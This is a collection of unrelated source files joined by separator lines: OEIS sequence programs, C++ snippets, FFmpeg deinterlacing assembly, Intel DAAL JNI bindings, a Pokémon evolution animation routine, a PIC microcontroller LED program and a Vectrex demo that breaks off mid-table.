; 1,2,6,5,70,7,231,858,1430,12155,46189,176358,676039,104006,44574,1077205,66786710,64822395,90751353,353452638,3829070245,134564468610,526024740930,2287064091,35830670759,71661341518,281132955186,2483341104143,1912172650190110,1879204156221315,7391536347803839,29089272078453818,4155610296921974,36833818540899315,145168578955309065,3116285494907301262,110628135069209194801,436532641083906552458,68926206486932613546,1388623207612195511,548506167006817226845,26756398390576450090
mul $0,2
trn $0,1
seq $0,55204 ; Squarefree part of n!: n! divided by its largest square divisor.
|
.code
PassingParameters proc
mov eax, ecx
neg eax
ret
PassingParameters endp
end
|
#include <bits/stdc++.h>
using namespace std;
typedef long double ld;
typedef long long int ll;
#define endl "\n"
vector<vector<ll>> adjlist;
ll max(ll x, ll y) { return (x > y) ? x : y; }
ll min(ll x, ll y) { return (x > y) ? y : x; }
#define mod 1000000007
#define precision(precision) cout << fixed << setprecision(precision)
#define printTestCaseNum(x) cout << "Case #" << x << ": "
ll cases = 1, n, sum, m;
ll x, y;
void solveCase(ll testCaseNum)
{
}
int main()
{
ios_base::sync_with_stdio(false);
cin.tie(NULL);
// freopen("input.txt", "r", stdin);
// freopen("output.txt", "w", stdout);
cin >> cases;
for (ll t = 1; t <= cases; t++)
{
solveCase(t);
}
return 0;
} |
#include "pliib.hpp"
using namespace std;
using namespace pliib;
int main(){
char* to_split;
string s ("A;StrING;DeLIMITeD:.;by;");
pliib::strcopy(s.c_str(), to_split);
char** ret;
int retsz;
int* split_sizes;
split(to_split, ';', ret, retsz, split_sizes);
for (int i = 0; i < retsz; ++i){
cout << '"' << ret[i] << '"' << " : sz: " << split_sizes[i] << endl;
//cout << '"' << ret[i] << '"' << " : sz: ";
//cout << strlen(ret[i]) << endl;
}
cout << pliib::join(ret, retsz, '\t') << endl;
string t ("A substring to grab.");
char* sub;
pliib::slice(t.c_str(), 2, 11, sub);
cout << sub << endl;
std::vector<int> x(100000000, 100);
x.push_back(4);
x.push_back(3);
x.push_back(2);
x.push_back(1);
std::function<int(int)> zed = [](int z){ return (int) z * z % z; };
//std::vector<int> ret = p_vv_map(x, zed);// [](int i) -> int{ return i * i;});
int i;
std::function<double(double)> zeta = [](double z){ return (double) z * z / z * .0065 + 86 - 14; };
std::vector<double> y (100000000, 100.0);
//auto z_ret = p_vv_map(y, zeta);
p_vv_apply(y, zeta);
//for (i = 0; i < y.size(); i++){
// cerr << "Vector elem: " << i << " : " << y[i] << endl;
//}
return 0;
}
|
; copied from https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
; tiny.asm
BITS 32
org 0x00200000
db 0x7F, "ELF" ; e_ident
db 1, 1, 1, 0, 0
_start:
mov bl, 42
xor eax, eax
inc eax
int 0x80
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
phdr: dd 1 ; e_shoff ; p_type
dd 0 ; e_flags ; p_offset
dd $$ ; e_ehsize ; p_vaddr
; e_phentsize
dw 1 ; e_phnum ; p_paddr
dw 0 ; e_shentsize
dd filesize ; e_shnum ; p_filesz
; e_shstrndx
dd filesize ; p_memsz
dd 5 ; p_flags
dd 0x1000 ; p_align
filesize equ $ - $$
|
/* file: input.cpp */
/*******************************************************************************
* Copyright 2014 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
#include <jni.h>
#include "daal.h"
#include "com_intel_daal_algorithms_optimization_solver_iterative_solver_Input.h"
#include "com/intel/daal/common_helpers.h"
USING_COMMON_NAMESPACES()
using namespace daal::algorithms::optimization_solver;
/*
* Class: com_intel_daal_algorithms_optimization_solver_iterative_solver_Input
* Method: cSetInput
* Signature: (JIJ)V
*/
JNIEXPORT void JNICALL Java_com_intel_daal_algorithms_optimization_1solver_iterative_1solver_Input_cSetInput(JNIEnv *, jobject, jlong inputAddr,
jint id, jlong ntAddr)
{
jniInput<iterative_solver::Input>::set<iterative_solver::InputId, NumericTable>(inputAddr, id, ntAddr);
}
/*
* Class: com_intel_daal_algorithms_optimization_solver_iterative_solver_Input
* Method: cGetInput
* Signature: (JI)J
*/
JNIEXPORT jlong JNICALL Java_com_intel_daal_algorithms_optimization_1solver_iterative_1solver_Input_cGetInput(JNIEnv *, jobject, jlong inputAddr,
jint id)
{
return jniInput<iterative_solver::Input>::get<iterative_solver::InputId, NumericTable>(inputAddr, id);
}
/*
* Class: com_intel_daal_algorithms_optimization_solver_iterative_solver_Input
* Method: cSetOptionalInput
* Signature: (JIJ)V
*/
JNIEXPORT void JNICALL Java_com_intel_daal_algorithms_optimization_1solver_iterative_1solver_Input_cSetOptionalInput(JNIEnv *, jobject,
jlong inputAddr, jint id,
jlong argAddr)
{
jniInput<iterative_solver::Input>::set<iterative_solver::OptionalInputId, OptionalArgument>(inputAddr, id, argAddr);
}
/*
* Class: com_intel_daal_algorithms_optimization_solver_iterative_solver_Input
* Method: cGetOptionalInput
* Signature: (JI)J
*/
JNIEXPORT jlong JNICALL Java_com_intel_daal_algorithms_optimization_1solver_iterative_1solver_Input_cGetOptionalInput(JNIEnv *, jobject,
jlong inputAddr, jint id)
{
return jniInput<iterative_solver::Input>::get<iterative_solver::OptionalInputId, OptionalArgument>(inputAddr, id);
}
|
; A227121: Number of n X 2 0,1 arrays indicating 2 X 2 subblocks of some larger (n+1) X 3 binary array having a sum of zero, with rows and columns of the latter in lexicographically nondecreasing order.
; 3,7,13,23,40,68,112,178,273,405,583,817,1118,1498,1970,2548,3247,4083,5073,6235,7588,9152,10948,12998,15325,17953,20907,24213,27898,31990,36518,41512,47003,53023,59605,66783,74592,83068,92248,102170,112873,124397,136783,150073,164310,179538,195802,213148,231623,251275,272153,294307,317788,342648,368940,396718,426037,456953,489523,523805,559858,597742,637518,679248,722995,768823,816797,866983,919448,974260,1031488,1091202,1153473,1218373,1285975,1356353,1429582,1505738,1584898,1667140,1752543,1841187,1933153,2028523,2127380,2229808,2335892,2445718,2559373,2676945,2798523,2924197,3054058,3188198,3326710,3469688,3617227,3769423,3926373,4088175
mov $1,1
add $1,$0
seq $1,55417 ; Number of points in N^n of norm <= 2.
add $2,$1
add $0,$2
|
;*****************************************************************************
;* x86-optimized functions for yadif filter
;*
;* Copyright (C) 2006 Michael Niedermayer <michaelni@gmx.at>
;* Copyright (c) 2013 Daniel Kang <daniel.d.kang@gmail.com>
;* Copyright (c) 2011-2013 James Darnley <james.darnley@gmail.com>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License along
;* with FFmpeg; if not, write to the Free Software Foundation, Inc.,
;* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION_RODATA
pw_1: times 8 dw 1
pw_8000: times 8 dw 0x8000
pd_1: times 4 dd 1
pd_8000: times 4 dd 0x8000
SECTION .text
%macro PIXSHIFT1 1
%if cpuflag(sse2)
psrldq %1, 2
%else
psrlq %1, 16
%endif
%endmacro
%macro PIXSHIFT2 1
%if cpuflag(sse2)
psrldq %1, 4
%else
psrlq %1, 32
%endif
%endmacro
%macro PABS 2
%if cpuflag(ssse3)
pabsd %1, %1
%else
pxor %2, %2
pcmpgtd %2, %1
pxor %1, %2
psubd %1, %2
%endif
%endmacro
%macro PACK 1
%if cpuflag(sse4)
packusdw %1, %1
%else
psubd %1, [pd_8000]
packssdw %1, %1
paddw %1, [pw_8000]
%endif
%endmacro
%macro PMINSD 3
%if cpuflag(sse4)
pminsd %1, %2
%else
mova %3, %2
pcmpgtd %3, %1
pand %1, %3
pandn %3, %2
por %1, %3
%endif
%endmacro
%macro PMAXSD 3
%if cpuflag(sse4)
pmaxsd %1, %2
%else
mova %3, %1
pcmpgtd %3, %2
pand %1, %3
pandn %3, %2
por %1, %3
%endif
%endmacro
%macro PMAXUW 2
%if cpuflag(sse4)
pmaxuw %1, %2
%else
psubusw %1, %2
paddusw %1, %2
%endif
%endmacro
%macro CHECK 2
movu m2, [curq+t1+%1*2]
movu m3, [curq+t0+%2*2]
mova m4, m2
mova m5, m2
pxor m4, m3
pavgw m5, m3
pand m4, [pw_1]
psubusw m5, m4
%if mmsize == 16
psrldq m5, 2
%else
psrlq m5, 16
%endif
punpcklwd m5, m7
mova m4, m2
psubusw m2, m3
psubusw m3, m4
PMAXUW m2, m3
mova m3, m2
mova m4, m2
%if mmsize == 16
psrldq m3, 2
psrldq m4, 4
%else
psrlq m3, 16
psrlq m4, 32
%endif
punpcklwd m2, m7
punpcklwd m3, m7
punpcklwd m4, m7
paddd m2, m3
paddd m2, m4
%endmacro
%macro CHECK1 0
mova m3, m0
pcmpgtd m3, m2
PMINSD m0, m2, m6
mova m6, m3
pand m5, m3
pandn m3, m1
por m3, m5
mova m1, m3
%endmacro
%macro CHECK2 0
paddd m6, [pd_1]
pslld m6, 30
paddd m2, m6
mova m3, m0
pcmpgtd m3, m2
PMINSD m0, m2, m4
pand m5, m3
pandn m3, m1
por m3, m5
mova m1, m3
%endmacro
; This version of CHECK2 has 3 fewer instructions on sets older than SSE4 but I
; am not sure whether it is any faster. A rewrite or refactor of the filter
; code should make it possible to eliminate the move intruction at the end. It
; exists to satisfy the expectation that the "score" values are in m1.
; %macro CHECK2 0
; mova m3, m0
; pcmpgtd m0, m2
; pand m0, m6
; mova m6, m0
; pand m5, m6
; pand m2, m0
; pandn m6, m1
; pandn m0, m3
; por m6, m5
; por m0, m2
; mova m1, m6
; %endmacro
%macro LOAD 2
movh %1, %2
punpcklwd %1, m7
%endmacro
%macro FILTER 3
.loop%1:
pxor m7, m7
LOAD m0, [curq+t1]
LOAD m1, [curq+t0]
LOAD m2, [%2]
LOAD m3, [%3]
mova m4, m3
paddd m3, m2
psrad m3, 1
mova [rsp+ 0], m0
mova [rsp+16], m3
mova [rsp+32], m1
psubd m2, m4
PABS m2, m4
LOAD m3, [prevq+t1]
LOAD m4, [prevq+t0]
psubd m3, m0
psubd m4, m1
PABS m3, m5
PABS m4, m5
paddd m3, m4
psrld m2, 1
psrld m3, 1
PMAXSD m2, m3, m6
LOAD m3, [nextq+t1]
LOAD m4, [nextq+t0]
psubd m3, m0
psubd m4, m1
PABS m3, m5
PABS m4, m5
paddd m3, m4
psrld m3, 1
PMAXSD m2, m3, m6
mova [rsp+48], m2
paddd m1, m0
paddd m0, m0
psubd m0, m1
psrld m1, 1
PABS m0, m2
movu m2, [curq+t1-1*2]
movu m3, [curq+t0-1*2]
mova m4, m2
psubusw m2, m3
psubusw m3, m4
PMAXUW m2, m3
%if mmsize == 16
mova m3, m2
psrldq m3, 4
%else
mova m3, m2
psrlq m3, 32
%endif
punpcklwd m2, m7
punpcklwd m3, m7
paddd m0, m2
paddd m0, m3
psubd m0, [pd_1]
CHECK -2, 0
CHECK1
CHECK -3, 1
CHECK2
CHECK 0, -2
CHECK1
CHECK 1, -3
CHECK2
mova m6, [rsp+48]
cmp DWORD r8m, 2
jge .end%1
LOAD m2, [%2+t1*2]
LOAD m4, [%3+t1*2]
LOAD m3, [%2+t0*2]
LOAD m5, [%3+t0*2]
paddd m2, m4
paddd m3, m5
psrld m2, 1
psrld m3, 1
mova m4, [rsp+ 0]
mova m5, [rsp+16]
mova m7, [rsp+32]
psubd m2, m4
psubd m3, m7
mova m0, m5
psubd m5, m4
psubd m0, m7
mova m4, m2
PMINSD m2, m3, m7
PMAXSD m3, m4, m7
PMAXSD m2, m5, m7
PMINSD m3, m5, m7
PMAXSD m2, m0, m7
PMINSD m3, m0, m7
pxor m4, m4
PMAXSD m6, m3, m7
psubd m4, m2
PMAXSD m6, m4, m7
.end%1:
mova m2, [rsp+16]
mova m3, m2
psubd m2, m6
paddd m3, m6
PMAXSD m1, m2, m7
PMINSD m1, m3, m7
PACK m1
movh [dstq], m1
add dstq, mmsize/2
add prevq, mmsize/2
add curq, mmsize/2
add nextq, mmsize/2
sub DWORD r4m, mmsize/4
jg .loop%1
%endmacro
%macro YADIF 0
%if ARCH_X86_32
cglobal yadif_filter_line_16bit, 4, 6, 8, 80, dst, prev, cur, next, w, \
prefs, mrefs, parity, mode
%else
cglobal yadif_filter_line_16bit, 4, 7, 8, 80, dst, prev, cur, next, w, \
prefs, mrefs, parity, mode
%endif
%if ARCH_X86_32
mov r4, r5mp
mov r5, r6mp
DECLARE_REG_TMP 4,5
%else
movsxd r5, DWORD r5m
movsxd r6, DWORD r6m
DECLARE_REG_TMP 5,6
%endif
cmp DWORD paritym, 0
je .parity0
FILTER 1, prevq, curq
jmp .ret
.parity0:
FILTER 0, curq, nextq
.ret:
RET
%endmacro
INIT_XMM sse4
YADIF
INIT_XMM ssse3
YADIF
INIT_XMM sse2
YADIF
%if ARCH_X86_32
INIT_MMX mmxext
YADIF
%endif
|
EvolutionAnimation:
push hl
push de
push bc
ld a, [wCurSpecies]
push af
ldh a, [rOBP0]
push af
ld a, [wBaseSpecies]
push af
call .EvolutionAnimation
pop af
ld [wBaseSpecies], a
pop af
ldh [rOBP0], a
pop af
ld [wCurSpecies], a
pop bc
pop de
pop hl
ld a, [wEvolutionCanceled]
and a
ret z
scf
ret
.EvolutionAnimation:
ld a, %11100100
ldh [rOBP0], a
ld de, MUSIC_NONE
call PlayMusic
farcall ClearSpriteAnims
ld de, .GFX
ld hl, vTiles0
lb bc, BANK(.GFX), 8
call Request2bpp
xor a
ld [wLowHealthAlarm], a
call WaitBGMap
xor a
ldh [hBGMapMode], a
ld a, [wEvolutionOldSpecies]
ld [wPlayerHPPal], a
ld c, $0
call .GetSGBLayout
ld a, [wEvolutionOldSpecies]
ld [wCurPartySpecies], a
ld [wCurSpecies], a
call .PlaceFrontpic
ld de, vTiles2
ld hl, vTiles2 tile $31
ld bc, 7 * 7
call Request2bpp
ld a, 7 * 7
ld [wEvolutionPicOffset], a
call .ReplaceFrontpic
ld a, [wEvolutionNewSpecies]
ld [wCurPartySpecies], a
ld [wCurSpecies], a
call .LoadFrontpic
ld a, [wEvolutionOldSpecies]
ld [wCurPartySpecies], a
ld [wCurSpecies], a
ld a, $1
ldh [hBGMapMode], a
call .check_statused
jr c, .skip_cry
ld a, [wEvolutionOldSpecies]
call PlayMonCry
.skip_cry
ld de, MUSIC_EVOLUTION
call PlayMusic
ld c, 80
call DelayFrames
ld c, $1
call .GetSGBLayout
call .AnimationSequence
jr c, .cancel_evo
ld a, -7 * 7
ld [wEvolutionPicOffset], a
call .ReplaceFrontpic
xor a
ld [wEvolutionCanceled], a
ld a, [wEvolutionNewSpecies]
ld [wPlayerHPPal], a
ld c, $0
call .GetSGBLayout
call .PlayEvolvedSFX
farcall ClearSpriteAnims
call .check_statused
jr c, .no_anim
ld a, [wBoxAlignment]
push af
ld a, $1
ld [wBoxAlignment], a
ld a, [wCurPartySpecies]
push af
ld a, [wPlayerHPPal]
ld [wCurPartySpecies], a
call PlayMonCry2
pop af
ld [wCurPartySpecies], a
pop af
ld [wBoxAlignment], a
ret
.no_anim
ret
.cancel_evo
ld a, $1
ld [wEvolutionCanceled], a
ld a, [wEvolutionOldSpecies]
ld [wPlayerHPPal], a
ld c, $0
call .GetSGBLayout
call .PlayEvolvedSFX
farcall ClearSpriteAnims
call .check_statused
ret c
ld a, [wPlayerHPPal]
call PlayMonCry
ret
.GetSGBLayout:
ld b, SCGB_EVOLUTION
jp GetSGBLayout
.PlaceFrontpic:
call GetBaseData
hlcoord 7, 2
jp PrepMonFrontpic
.LoadFrontpic:
call GetBaseData
ld a, $1
ld [wBoxAlignment], a
ld de, vTiles2
predef GetAnimatedFrontpic
xor a
ld [wBoxAlignment], a
ret
.AnimationSequence:
call ClearJoypad
lb bc, 1, 2 * 7 ; flash b times, wait c frames in between
.loop
push bc
call .WaitFrames_CheckPressedB
pop bc
jr c, .exit_sequence
push bc
call .Flash
pop bc
inc b
dec c
dec c
jr nz, .loop
and a
ret
.exit_sequence
scf
ret
.Flash:
ld a, -7 * 7 ; new stage
ld [wEvolutionPicOffset], a
call .ReplaceFrontpic
ld a, 7 * 7 ; previous stage
ld [wEvolutionPicOffset], a
call .ReplaceFrontpic
dec b
jr nz, .Flash
ret
.ReplaceFrontpic:
push bc
xor a
ldh [hBGMapMode], a
hlcoord 7, 2
lb bc, 7, 7
ld de, SCREEN_WIDTH - 7
.loop1
push bc
.loop2
ld a, [wEvolutionPicOffset]
add [hl]
ld [hli], a
dec c
jr nz, .loop2
pop bc
add hl, de
dec b
jr nz, .loop1
ld a, $1
ldh [hBGMapMode], a
call WaitBGMap
pop bc
ret
.WaitFrames_CheckPressedB:
call DelayFrame
push bc
call JoyTextDelay
ldh a, [hJoyDown]
pop bc
and B_BUTTON
jr nz, .pressed_b
.loop3
dec c
jr nz, .WaitFrames_CheckPressedB
and a
ret
.pressed_b
ld a, [wForceEvolution]
and a
jr nz, .loop3
scf
ret
.check_statused
ld a, [wCurPartyMon]
ld hl, wPartyMon1Species
call GetPartyLocation
ld b, h
ld c, l
farcall CheckFaintedFrzSlp
ret
.PlayEvolvedSFX:
ld a, [wEvolutionCanceled]
and a
ret nz
ld de, SFX_EVOLVED
call PlaySFX
ld hl, wJumptableIndex
ld a, [hl]
push af
ld [hl], $0
.loop4
call .balls_of_light
jr nc, .done
call .AnimateBallsOfLight
jr .loop4
.done
ld c, 32
.loop5
call .AnimateBallsOfLight
dec c
jr nz, .loop5
pop af
ld [wJumptableIndex], a
ret
.balls_of_light
ld hl, wJumptableIndex
ld a, [hl]
cp 32
ret nc
ld d, a
inc [hl]
and $1
jr nz, .done_balls
ld e, $0
call .GenerateBallOfLight
ld e, $10
call .GenerateBallOfLight
.done_balls
scf
ret
.GenerateBallOfLight:
push de
depixel 9, 11
ld a, SPRITE_ANIM_INDEX_EVOLUTION_BALL_OF_LIGHT
call _InitSpriteAnimStruct
ld hl, SPRITEANIMSTRUCT_JUMPTABLE_INDEX
add hl, bc
ld a, [wJumptableIndex]
and %1110
sla a
pop de
add e
ld [hl], a
ld hl, SPRITEANIMSTRUCT_TILE_ID
add hl, bc
ld [hl], $0
ld hl, SPRITEANIMSTRUCT_0C
add hl, bc
ld [hl], $10
ret
.AnimateBallsOfLight:
push bc
callfar PlaySpriteAnimations
; a = (([hVBlankCounter] + 4) / 2) % NUM_PALETTES
ldh a, [hVBlankCounter]
and %1110
srl a
inc a
inc a
and $7
ld b, a
ld hl, wVirtualOAMSprite00Attributes
ld c, NUM_SPRITE_OAM_STRUCTS
.loop6
ld a, [hl]
or b
ld [hli], a ; attributes
rept SPRITEOAMSTRUCT_LENGTH + -1
inc hl
endr
dec c
jr nz, .loop6
pop bc
call DelayFrame
ret
.GFX:
INCBIN "gfx/evo/bubble_large.2bpp"
INCBIN "gfx/evo/bubble.2bpp"
|
; A264446: a(n) = n*(n + 5)*(n + 10)*(n + 15)/24.
; 0,44,119,234,399,625,924,1309,1794,2394,3125,4004,5049,6279,7714,9375,11284,13464,15939,18734,21875,25389,29304,33649,38454,43750,49569,55944,62909,70499,78750,87699,97384,107844,119119,131250,144279,158249,173204,189189,206250
mov $1,$0
mov $4,48
lpb $2,4
mod $4,2
add $4,$1
lpe
mov $2,5
mov $6,4
lpb $5,6
mul $2,$4
add $4,5
sub $6,1
lpe
mov $1,$2
div $1,120
|
; Lucas de Souza Moraes - 538464
; Luana Duarte Santana Farias - 576485
LIST P=PIC16F628A
#INCLUDE <P16F628A.INC> ;P16F628A
__CONFIG _INTRC_OSC_NOCLKOUT & _WDT_OFF & _PWRTE_ON & _BODEN_OFF & _LVP_OFF & _CP_OFF & _MCLRE_OFF & _DATA_CP_OFF
;ou __CONFIG H'3F10'
#DEFINE BANK0 BCF STATUS,RP0 ;SET BANK 0
#DEFINE BANK1 BSF STATUS,RP0 ;SET BANK 1
#DEFINE BUTTON PORTA,D'2' ;0 H 1 L
CBLOCK 0x20 ;ENDERECO INICIAL DA MEMORIA
D1 ;DELAY1
D2 ;DELAY2
D3 ;DELAY3
AUX ;AUXILIAR
ENDC ;FIM DO BLOCO DE MEMORIA
ORG 0x00 ;ENDERECO INICIAL DE PROCESSAMENTO
GOTO INICIO
;*******************************************************************
INICIO
CLRF PORTA ;LIMPA A PORTA
CLRF PORTB ;LIMPA A PORTB
CLRF TRISA
CLRF TRISB
BANK1
MOVLW B'00000100'
MOVWF TRISA ;DEFINE RA2 ENTRADA DE PORTA E O RESTO SAIDAS
MOVLW B'00000000'
MOVWF TRISB ;DEFINE SAIDAS DE PORTB
MOVLW B'00000000'
MOVWF INTCON ;DESLIGAR INTERRUPCOES
BANK0
MOVLW B'00000111'
MOVWF CMCON ;COMPARADOR ANALOGICO
;*******************************************************************
LOOP
CALL TESTE
GOTO LOOP
CICLO1
MOVLW B'00000000' ;S1 VERDE,S2 VERMELHO
MOVWF PORTB
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
GOTO LOOP
;*******************************************************************
; DELAY: REALIZA DELAY DE ACORDO COM CYCLES (RECALCULAR)
; ACRECENTANDO VALORES A REGISTRADOR
; E DIMUINDO ELES ATE 0
; NOTE: MOVLW+1CYCLE
; MOVWF+1CYCLE
; DECFSZ+2CYCLE (AO PULAR, SEMPRE 1 CYCLE)
; BDSFC +2 CYCLES
;SE PUDER USAR QUEBRA DE CICLOS ( D1,D2,D3 VALEM OS VALORES EM HEXA)
;QUEBRAS DE $+2 CICLOS ENTRE OS GOTO
;*******************************************************************
DELAY
MOVLW D'6' ;0x07
MOVWF D1
MOVLW D'19' ;0x2F
MOVWF D2
MOVLW D'169' ;0x03
MOVWF D3
DELAY_0
DECFSZ D3, F
GOTO DELAY_0
DECFSZ D2, F
GOTO DELAY_0
DECFSZ D1, F
GOTO DELAY_0
NOP
; NOP
RETURN
TESTE
;MOVLW 0x07
;MOVWF AUX
FOR1
MOVLW B'11111111' ;S1 VERDE,S2 VERMELHO
MOVWF PORTB
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
BTFSS BUTTON
;GOTO BOTAO_LIB ;N๏ฟฝO, ENT๏ฟฝO TRATA BOT๏ฟฝO LIBERADO
;GOTO BOTAO_PRES ;SIM, ENT๏ฟฝO TRATA BOT๏ฟฝO PRESSIONADO
CALL CICLO1
DECFSZ AUX,F
;GOTO FOR1
RETURN
BOTAO_LIB
MOVLW B'00000000' ;APAGA O LED
MOVWF PORTB
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
GOTO LOOP ;RETORNA AO LOOP PRINCIPAL
BOTAO_PRES
MOVLW B'01010101' ;APAGA O LED
MOVWF PORTB
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
CALL DELAY
GOTO LOOP
END
|
;***************************************************************************
; DEFINE SECTION
;***************************************************************************
include "VECTREX.I"
; start of vectrex memory with cartridge name...
org 0
;***************************************************************************
; HEADER SECTION
;***************************************************************************
db "g GCE 2016", $80 ; 'g' is copyright sign
dw music1 ; music from the rom
db $F8, $50, $20, -$60 ; height, width, rel y, rel x
; (from 0,0)
db "YELP MULTI BOUNCE",$80 ; some game information,
; ending with $80
db 0 ; end of game header
;***************************************************************************
; CODE SECTION
;***************************************************************************
; here the cartridge program starts off
MAX_Y equ 120
MAX_X equ 100
MIN_Y equ -120
MIN_X equ -100
INITIAL_X equ 24
INITIAL_Y equ -2
INITIAL_X_DIR equ +4
INITIAL_Y_DIR equ +4
watch1 equ $C880
watch2 equ $C881
direction_adjust_y equ $C882
direction_adjust_x equ $C883
burst1_addr equ $C888
burst2_addr equ $C890
burst3_addr equ $C898
burst_position_offset equ 0
burst_position_y_offset equ 0
burst_position_x_offset equ 1
burst_y_dir_offset equ 2
burst_x_dir_offset equ 3
burst_intesity_offset equ 4
burst_scaling_offset equ 5
init:
ldx #burst1_addr
lda #INITIAL_Y ; initial burst Y pos
ldb #INITIAL_X ; initial burst X pos-
std burst_position_offset,x
lda #INITIAL_Y_DIR ; initial Y dir
sta burst_y_dir_offset,x
lda #INITIAL_X_DIR ; initial X dir
sta burst_x_dir_offset,x
lda #$af
sta burst_scaling_offset,x
ldx #burst2_addr
lda #INITIAL_Y - 15
ldb #INITIAL_X - 15
std burst_position_offset,x
lda #INITIAL_Y_DIR
sta burst_y_dir_offset,x
lda #INITIAL_X_DIR
sta burst_x_dir_offset,x
lda #$7f
sta burst_scaling_offset,x
ldx #burst3_addr
lda #INITIAL_Y - 30
ldb #INITIAL_X - 30
std burst_position_offset,x
lda #INITIAL_Y_DIR
sta burst_y_dir_offset,x
lda #INITIAL_X_DIR
sta burst_x_dir_offset,x
lda #$50
sta burst_scaling_offset,x
main:
jsr recalibrate
jsr handle_joystick
ldx #burst1_addr
jsr move_burst_position
jsr set_intensity_scaling_x
jsr draw_yelp_burst
jsr recalibrate
ldx #burst2_addr
jsr move_burst_position
jsr set_intensity_scaling_x
jsr draw_yelp_burst
jsr recalibrate
ldx #burst3_addr
jsr move_burst_position
jsr set_intensity_scaling_x
jsr draw_yelp_burst
bra main ; and repeat forever
;***************************************************************************
handle_joystick:
jsr Joy_Digital ; read joystick positions
lda Vec_Joy_1_X ; load joystick 1 position X to A
beq no_x_movement ; if zero, than no x position
bmi left_move ; if negative, than left, otherwise right
right_move:
lda #1
sta direction_adjust_x
bra x_done
left_move:
lda #-1
sta direction_adjust_x
bra x_done
no_x_movement:
clr direction_adjust_x
x_done:
lda Vec_Joy_1_Y ; load joystick 1 position Y to A
beq no_y_movement ; if zero, than no y position
bmi down_move ; if negative, than down otherwise up
up_move:
lda #1
sta direction_adjust_y
bra y_done ; goto y done
down_move:
lda #-1
sta direction_adjust_y
bra y_done ; goto y done
no_y_movement:
clr direction_adjust_y
y_done:
rts
recalibrate:
jsr Wait_Recal ; Vectrex BIOS recalibration
lda #$7f ; scaling factor to A
sta VIA_t1_cnt_lo ; move to time 1 lo, this
; means scaling
jsr Intensity_5F ; Sets the intensity of the
; vector beam to $5f
rts
set_intensity_scaling_x:
lda burst_scaling_offset,x
sta VIA_t1_cnt_lo ; move to time 1 lo, this
; means scaling
rts
move_burst_position:
jsr calculate_next_y_burst_pos
jsr calculate_next_x_burst_pos
ldd burst_position_offset,x
jsr Moveto_d ; move the pen
rts
; X contains the base addr of the object
calculate_next_y_burst_pos:
lda #1 ; Do a write for debugging
sta watch1 ; ------------------------
lda direction_adjust_y ; alter direction based on joystick
sta burst_y_dir_offset,x
bmi check_y_min ; direction negative
lda burst_position_y_offset,x
bpl y_positive
adda burst_y_dir_offset,x ; negative or zero, so we don't need to test limit
bra y_ok
y_positive:
adda burst_y_dir_offset,x
cmpa #MAX_Y
blo y_ok
clrb
subb burst_y_dir_offset,x
stb burst_y_dir_offset,x
bra y_ok
check_y_min:
lda burst_position_y_offset,x
bmi y_negative
adda burst_y_dir_offset,x ; positive or zero, so we don't need to test limit
bra y_ok
y_negative:
adda burst_y_dir_offset,x
cmpa #MIN_Y
bcc y_ok ; hmm not sure this is right
clrb
subb burst_y_dir_offset,x
stb burst_y_dir_offset,x
y_ok:
sta burst_position_y_offset,x
rts
calculate_next_x_burst_pos:
lda direction_adjust_x ; alter direction based on joystick
sta burst_x_dir_offset,x
bmi check_x_min ; direction negative
lda burst_position_x_offset,x
bpl x_positive
adda burst_x_dir_offset,x ; negative or zero, so we don't need to test limit
bra x_ok
x_positive:
adda burst_x_dir_offset,x
cmpa #MAX_X
blo x_ok
clrb
subb burst_x_dir_offset,x
stb burst_x_dir_offset,x
bra x_ok
check_x_min:
lda burst_position_x_offset,x
bmi x_negative
adda burst_x_dir_offset,x ; positive or zero, so we don't need to test limit
bra x_ok
x_negative:
adda burst_x_dir_offset,x
cmpa #MIN_X
bcc x_ok
clrb
subb burst_x_dir_offset,x
stb burst_x_dir_offset,x
x_ok:
sta burst_position_x_offset,x
rts
set_scaling:
draw_yelp_burst:
ldx #yelp_11oclock ; load next vector list address
jsr Mov_Draw_VLc_a ; move & draw the line now
ldx #yelp_09oclock ; load next vector list address
jsr Mov_Draw_VLc_a ; move & draw the line now
ldx #yelp_07oclock ; load next vector list address
jsr Mov_Draw_VLc_a ; move & draw the line now
ldx #yelp_04oclock ; load next vector list address
jsr Mov_Draw_VLc_a ; move & draw the line now
ldx #yelp_02oclock ; load next vector list address
jsr Mov_Draw_VLc_a ; move & draw the line now
rts
SPRITE_BLOW_UP equ 1
yelp_11oclock:
db 10 ; number of vectors - 1
db 5*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; 25,0 => 5, 0 (from 0,0)
db 13*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP ; 91,0 => 18, 0
db 1*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP ; 97,-6 => 19,-1
db 1*SPRITE_BLOW_UP, -4*SPRITE_BLOW_UP ; 100,-25 => 20,-5
db -1*SPRITE_BLOW_UP, -3*SPRITE_BLOW_UP ; 94,-40 => 19,-8
db -2*SPRITE_BLOW_UP, -2*SPRITE_BLOW_UP ; 85,-50 => 17,-10
